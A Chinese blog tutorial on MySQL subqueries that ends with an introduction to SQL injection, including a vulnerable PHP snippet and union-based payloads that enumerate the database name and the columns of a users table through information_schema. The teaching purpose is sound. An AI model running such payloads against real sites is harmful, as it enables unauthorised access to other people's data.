当前位置: 首页 > news >正文

MySQL數據庫開發教學(三) 子查詢、基礎SQL注入

書接上回:MySQL數據庫開發教學(二) 核心概念、重要指令 -CSDN博客

建議工具:

Navicat Premium (收費 / 需破解):Navicat Premium | 管理和开发你的数据库

phpstudy 2018 (免費):phpStudy - Windows 一键部署 PHP 开发环境 · 小皮出品


前言

        大家好,我是小楓。上期跟大家說完MySQL數據庫的重要概念與核心代碼,那麼這期小編就會帶大家了解一下MySQL的一些進階指令執行。

        希望大家把前幾篇的東西都先學會哈,等我們後面講SQL注入時才不會那麼迷茫哈。那麼廢話不多說,我們開始吧。



目录

前言

一、子查詢

二、select 子查詢

2.1  用於SQL注入

三、WHERE 子查詢

四、from 子查詢

五、SQL注入概念

六、小結


一、子查詢

bumen
b_idb_name
1人事部
2財務部
3牛馬
emp
u_idnameagesexaddressb_id(外鍵)

       1

xiaolin220河北3
2xiaofong181廣洲2
3niko371四川1

        子查詢是指一個查詢(select)命令裡有另外一個select指令,通常用於查找當前表中沒有的數據(另外一張表的訊息),常用於SQL注入。

        以上面2張表為例。若只看員工表的話,我們是無法得知該員工屬於哪個部門的,用普通的查詢語句也無法把員工訊息與部門訊息(b_name)合成一張表。這樣查看起來就會有點麻煩,而子查詢則允許我們同時查看2張表(橫向拼接)。

        

二、select 子查詢

select b_name from bumen where b_id=1select (select b_name from bumen where b_id=1) 所屬部門(命名) from emp where emp.name="niko" 
-- 已知niko的b_id是1,就可以使用子查詢直接查b_id=1的是甚麼部門
所屬部門(即select b_name from bumen where b_id=1)
人事部

        2.1  用於SQL注入

# 在知道當前表的列數是多少(3列)後,就可以利用子查詢查看數據庫中的其他數據
select 1,(select database()),3    //利用子查詢查看當前在哪個數據庫
1select database()3
e.g. information_schema

        不止是當前數據庫,你可以用SQL注入找出數據庫中有哪些表、表中有哪些列、列中的數據是甚麼都可以慢慢爆出來。

        當然,你們有權限進入自己數據庫的操作面版,這些技術倒是沒甚麼用。當你要查看別人數據庫而又沒有權限時,這個技術才會用得上。下期會跟大家詳解哈,大家不要着急哈。 

三、WHERE子查詢

        用法跟上面差不多,只不過子查詢的位置從select後面變成了where後面。

select b_name from bumen where bumen.b_id=(select emp.b_id from emp where name="niko")
//在部門表中無法直接獲得員工表(emp)的訊息
=> 利用子查詢找到niko對應的b_id,再查對應的部門*當查詢的表多於1個時,就要用[對象.屬性/方法]這種語法(bumen.b_id)

四、from 子查詢

        也是差不多用法,這次是寫在from後面。這種子查詢可以同時查多於2張表的訊息。

select * from emp,bumen
=> 橫向拼接2張表成1張
b_idb_nameu_idnameagesexaddressb_id(外鍵)
1人事部1xiaolin220河北3
2財務部2xiaofong181廣洲2
3牛馬3niko371四川1

        同理可證,也是兩張表拼成一張表

select b_name from (select name,b_id from emp where name="niko") t1,bumen bu where t1.b_id=bu.b_id
# 把select name,b_id from emp where name="niko"的結果當成一張表,然後與bumen表橫向合拼

代碼解析:

1. 在emp表選下name和b_id列,以name為niko的那一組記錄作為表A (name和b_id為列)

2. 而bumen (b_name & b_id為列) 則作為表B

3. 查看表A與表B b_id相同那一行的b_name

t1(表A)
nameb_id(外鍵)
niko1
bumen(表B)
b_idb_name
1人事部
2財務部
3牛馬

結果
b_name
人事部

五、SQL注入概念

        SQL注入顧名思義,就是通過往腳本裡寫一些SQL語句以查詢數據。在寫PHP代碼時可能會有一些漏洞的出現,讓SQL語句能夠通過表單提交的方式被寫進腳本。

$id=$_GET('id');
$result="select * from student where id='$id' limit 0,1";
print_r($result);
student
idnameage
1xiaolin15
2xiaofong12
3niko18

        像這樣的代碼就存在漏洞。因為表單提交方式為get,所以我們就可以在url上動手腳以實現SQL注入。

?id=1    //為$id賦值為1,輸出id=1的數據
=> 這是最基本的,可以看到表中所有數據。並查看此表有多少列
idnameage
1xiaolin15

?id=-2' union select... --   //利用union查詢,並把原來的語句給注釋了(不再生效)
# --是注釋符號$id=-2' union select 1,(select database()),3--    //已知有3列,就可以查看到當前數據庫代碼變成:
$report="select * from student where id='-2'    //id不可能=-2,所以第一句指令不會執行
union 
select 1,(select database()),3--' limit 0,1";    // ' limit 0,1被注釋了
1select database()3
1information_schema3

        以我們對數據庫的了解,是知道information_schema中有幾個重要的數據表的(不知道的看回第一篇喔),我們就可以通過子查詢了解整個數據庫的結構甚至數據。

?id=-2' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema=database()--$result="select * from student where id='-2'
union 
select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema=database()--' limit 0,1";
//查看當前數據庫的users表中有哪些列,users表中可以包含重要數據(密碼已加密)

        其他的也是同理可證,大家自行摸索吧。最後還是要提醒大家,技術不要亂用,一不小心犯法了就不好了哈,要練習記得去靶場喔。

六、小結

        好了,這期跟大家講完了子查詢及些許SQL注入,那麼下期小編會跟大家講PHP與MySQL是怎麼扣連的,到那我們的WEB前後端也算是學完了(若想更深入學習可以找其他博主)。

        再下去我們就會開始探討漏洞挖掘技術了哈,大家敬請期待了。


表單提交:後端開發技術教學(四) 數據交互延伸-CSDN博客

數據庫結構:MySQL數據庫開發教學(一) 基本架構-CSDN博客

http://www.xdnf.cn/news/1388575.html

相关文章:

  • java开发连接websocket接口
  • system论文阅读--HPCA25
  • 基于SpringBoot和百度人脸识别API开发的保安门禁系统
  • LubanCat-RK3568 UART串口通信,以及遇到bug笔记
  • 实时音视频延迟优化指南:从原理到实践
  • Less运算
  • (一)Python语法基础(上)
  • C++中float与double的区别和联系
  • 基于STM32设计的智能宠物喂养系统(华为云IOT)_273
  • 迅为RK3588开发板安卓串口RS485App开发-硬件连接
  • 智慧工地源码
  • 如何将iPhone日历传输到电脑
  • Webrtc支持FFMPEG硬解码之Intel
  • 【React】登录(一)
  • 2025 年 8 月《DeepSeek-V3.1 SQL 能力评测报告》发布
  • OpenCV 图像预处理核心技术:阈值处理与滤波去噪
  • 强化学习的“GPT-3 时刻”即将到来
  • 【C语言16天强化训练】从基础入门到进阶:Day 15
  • centos8部署miniconda、nodejs
  • 音频转音频
  • vue3新特性
  • 【Tools】C#文件自动生成UML图
  • Java流程控制03——顺序结构(本文为个人学习笔记,内容整理自哔哩哔哩UP主【遇见狂神说】的公开课程。 > 所有知识点归属原作者,仅作非商业用途分享)
  • “设计深圳”亚洲权威消费科技与室内设计盛会
  • Nginx高级配置 | Nginx变量使用
  • RoadMP3告别车载音乐烦恼,一键get兼容音频
  • 20250828在荣品RD-RK3588-MID开发板的Android13系统下适配Bainianxing的GPS模块BU-16M10
  • STM32项目分享:基于单片机的自行车测速系统设计
  • C++ DDS框架学习
  • 【前端教程】用 JavaScript 实现4个常用时间与颜色交互功能